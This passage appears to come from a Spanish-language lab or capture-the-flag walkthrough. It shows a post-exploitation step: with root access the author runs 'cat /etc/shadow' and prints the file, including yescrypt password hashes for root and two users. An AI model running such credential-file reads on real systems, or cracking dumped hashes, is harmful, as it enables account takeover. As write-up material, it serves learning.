Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
sc-5.2# cat /etc/shadow
root:$y$j9T$7gs6EMa6c.zpFgKM3Grtz.$q8L7RyD.tdOf9DEhsqmEYBdKBrmxJ60ItpltO/x2nSB:20342:0:99999:7:::
daemon:*:20003:0:99999:7:::
bin:*:20003:0:99999:7:::
sys:*:20003:0:99999:7:::
sync:*:20003:0:99999:7:::
games:*:20003:0:99999:7:::
man:*:20003:0:99999:7:::
lp:*:20003:0:99999:7:::
mail:*:20003:0:99999:7:::
news:*:20003:0:99999:7:::
uucp:*:20003:0:99999:7:::
proxy:*:20003:0:99999:7:::
www-data:*:20003:0:99999:7:::
backup:*:20003:0:99999:7:::
list:*:20003:0:99999:7:::
irc:*:20003:0:99999:7:::
_apt:*:20003:0:99999:7:::
nobody:*:20003:0:99999:7:::
systemd-network:!*:20003::::::
usbmux:!:20003::::::
systemd-timesync:!*:20003::::::
messagebus:!:20003::::::
systemd-resolve:!*:20003::::::
pollinate:!:20003::::::
polkitd:!*:20003::::::
syslog:!:20003::::::
uuidd:!:20003::::::
tcpdump:!:20003::::::
tss:!:20003::::::
landscape:!:20003::::::
fwupd-refresh:!*:20003::::::
sshd:!:20338::::::
trivia:$y$j9T$1fYkuzD9.m5y7SwWSTUqh/$hb29dYfEthOUaEZr8D1GriIfSkeu8YeiI2WWxMmoiG0:20342:0:99999:7:::
william:$y$j9T$L/LMpuHMall7H5uzpS/mL1$L1EJ9y7BdcE10UIxBSow2eStbt1SefLToaTh4hDacD2:20461:0:99999:7:::
_laurel:!:20479::::::
sc-5.2#
Share on

Dany Sucuc
WRITTEN BY
sckull